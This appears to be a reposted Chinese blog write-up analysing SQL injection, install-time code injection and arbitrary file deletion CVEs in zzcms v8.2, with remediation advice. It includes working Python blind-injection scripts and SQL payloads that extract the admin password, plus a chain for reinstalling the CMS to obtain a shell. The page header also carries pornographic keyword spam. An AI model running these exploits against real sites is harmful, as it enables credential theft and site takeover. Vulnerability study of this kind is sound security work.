日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

stripfxg php,zzcms v8.2 中的众多cve分析

發布時間:2025/3/12 php 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 stripfxg php,zzcms v8.2 中的众多cve分析 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

看了一下最近的cve列表,發現有大佬怒刷了好多個cve,這個zzcms都快被審穿了,所以跟進學習一下

CMS背景

本文跟蹤的這個cms,屬于一個開源招商網站管理系統,屬于比較小的cms,所以很多地方寫的不是很完善,導致了漏洞的產生,項目官網為 http://www.zzcms.net/ ,本次我跟進的版本為8.2。

CVE-2018-8966

首先,這是一個在安裝的時候的代碼注入,如果不配合其他漏洞刪除安裝后產生的鎖文件 install.lock ,這個漏洞在實際環境中將毫無作用。

下面我們來具體分析一下漏洞產生的原因:

系統在安裝的過程中,對輸入的變量并沒有任何過濾就寫入了文件,所以我們只要閉合有關代碼,然后注入命令就可以拿到shell。

下面開始復現:

復現成功,同理,這里既然能插入 php 代碼,那也可以插入一端 javascript 代碼,造成存儲型xss,具體流程不在分析。

CVE-2018-8967

這是一個前臺的sql注入,可以獲取管理員密碼的賬號密碼,問題出在了 /user/adv2.php 下面我們分析一下代碼:

這里整個cms還是對傳入的cms進行了過濾的,過濾代碼在/inc/stopsqlin.php,但是在這個地方,是沒有對sql變量用引號包裹,所以不用單引號也可以直接進行sql注入。

但是這個地方想要注入,前面需要滿足一定的條件,見下圖

至少要讓這兩個數據出來的值有一個是1,否則將不會進入注入的代碼。

這里的坑點比較多,簡單講下吧,有一個知識點:

select * from zzcms_ad where id =1 or sleep(4);

按照常理這個會延時,但是如果表中是空的,那這個將不會有任何延時

所以我們在注入的時候,要保證表中有數據,才能正常延時盲注的

所以這里要利用這個盲注,需要滿足的條件有:

注冊為企業用戶,并且通過審核

發布廣告,報賬zzcms_main中,有一條記錄

整個網站的廣告表zzcms_add中需要至少有一條數據

當上面的條件都滿足的時候,就可以進行注入了,下面貼一下paylaod:

import requests

import string

s = requests.session()

url = "http://127.0.0.1:8000/user/adv2.php?action=modify"

cookies = {

'UserName':'test1',#換成你注冊的企業用戶的用戶名

}

flag = ''

for i in range(1,40):

for j in range(33,125):

data = {

'id':'0 or if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(3),0)'.format(i,j)}

try:

r = s.post(url,data=data,cookies=cookies,timeout=1)

except:

flag += chr(j)

print flag

break

print flag

實際測試截圖:

CVE-2018-8965

這是一個任意文件刪除漏洞,危害還是很大的,配合上面的安裝過程中的getshell,還是可以有很大的攻擊面 出問題的代碼在:

/user/ppsave.php

可以發現并沒有什么驗證,只是判斷了一下是不是和之前的或者默認的一樣,然后只要文件存在,就使用了 unlink 刪除了文件.

所以這個漏洞分析和利用都很簡單

我們刪除了安裝的鎖文件

/install/install.lock

然后就可以重新安裝zzcms,從而配合上文分析的漏洞獲取shell。

CVE-2018-9309

又是一枚sql注入漏洞,不過這個也是一個需要登陸,需要設置相關信息才能利用的漏洞。屬于設計不當。

首先我們看一下出問題的核心代碼:

if (!empty($_POST["sql"])){//從模板中獲取SQL內容,為發送對像

$_SESSION['sql']=stripfxg($_POST["sql"]);

}

$sql=$_SESSION['sql'];

$sql2=$sql." order by id asc limit $n,$size";

$rs=query($sql2);

$row=num_rows($rs);

可以發現這里將post參數中的sql進行了解碼放進了session中,而 stripfxg 函數代碼如下:

function stripfxg($string,$htmlspecialchars_decode=false,$nl2br=false) {//去反斜杠

$string=stripslashes($string);//去反斜杠,不開get_magic_quotes_gpc 的情況下,在stopsqlin中都加上了,這里要去了

if ($htmlspecialchars_decode==true){

$string=htmlspecialchars_decode($string);//轉 html 實體符號

}

if ($nl2br==true){

$string=nl2br($string);

}

return $string;

}

可以發現并不是什么過濾,所以這里直接拼接進入sql中是及其危險的,后面還有一些沒有申請cve的漏洞也是因為調用了這個函數,導致了過濾失效。

代碼利用也是比較簡單的:

127.0.0.1/dl/dl_sendmail.php

post數據為:

sql=select email from zzcms_dl where id=-1 union select group_concat(table_name) from information_schema.columns where table_schema=database()#

下面是執行結果:

CVE-2018-9331

有一枚任意文件刪除漏洞,不得不說這個系統在這個的判斷上真的是很有問題 這次產生問題的文件在

/user/adv.php

也是一個 oldimg 和 img 對比產生的問題

和上面分析類似,都是只判斷了是否和原來的相同,然后拼接了 ../ 就直接調用 unlink ,所以利用也很簡單

只需要將html中表單屬性的hidden刪掉,然后直接輸入想要刪除的文件名就可以啦

沒有申請cve的漏洞

有幾個sql注入比較嚴重,下面逐個分析一下

No.1 getip()未過濾

出問題的代碼在 /user/check.php 中

在檢查用戶登錄的位置,發現會調用 getip() 這個函數,我們跟進看一下:

發現并沒有過濾,可以直接注入xff頭,來進行注入,注入腳本如下:

import requests

import string

s = requests.session()

url = "http://219.219.61.234:8000/user/adv.php"//只要include了check.php都可以

cookies = {

'UserName':'test1',

'PassWord':'21232f297a57a5a743894a0e4a801fc3'

}

flag = ''

for i in range(1,40):

print i

for j in range(33,125):

head = {

'X-Forwarded-For':"1' where username = 'test1' and if((select ascii(substr(pass,{},1)) from zzcms_admin)={},sleep(10),0)#".format(i,j)}

try:

r = s.post(url,headers=head,cookies=cookies,timeout=9)

except:

flag += chr(j)

print flag

break

print flag

測試截圖為:

No.2 del.php未過濾

第二個注入產生的根源還是過濾的不夠嚴格,全局的注入過濾,在沒有引號的地方可以隨意注入,出問題的代碼在

/user/del.php

不過這個注入有一個前提,我們需要先發布一個咨詢信息,然后管理員審核過以后,就可以利用來注入了,這個在實際場景中,還是可以實現的。

可以看到,直接將tablename拼接進入了sql語句中,所以利用起來難度也不是很大,但是這里并沒有回顯,所以需要使用時間盲注,或者dns log外帶的方法來獲取數據。

No.3 stripfxg過濾不完整

在整個系統中,還有個函數是非常危險的,他可以將全局過濾還原成正常的數據,如果這個數據帶入了sql查詢中,是可以直接造成注入的。

代碼邏輯:

所以這里的利用也是比較簡單的:

POST /user/msg.php?action=savedata&saveas=add

參數為:

info_content=123' ^ sleep(5))#&id=1&Submit2=%E4%BF%AE%E6%94%B9%0D%0A

這里有一個注入的小技巧,就是在做insert注入和update注入的時候,除了能夠多偽造一組數據以外,還可以使用這種異或符號加上sleep函數來延時注入

insert into user (content)VALUES('1' ^ if(1=1,sleep(5),0)#

驗證截圖:

總結

系統存在的問題:

系統在實現邏輯的過程中,存在了太多了沒有過濾直接帶入邏輯的情況,這在很多大的框架中是不存在的,建議可以自己封裝一層,在封裝層中間實現好過濾,用起來也很方便

系統對用戶文件的存儲刪除有很大問題,很多在刪除用戶文件的時候,并沒有檢查是不是合法,就直接unlink了,這可以導致很大的問題。

系統在很多地方很輕易的就將自己的過濾去掉了,核心就是那個stripfxg函數,建議減少這個函數的使用,保證所有變量都經過了過濾。

總結

以上是生活随笔為你收集整理的stripfxg php,zzcms v8.2 中的众多cve分析的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。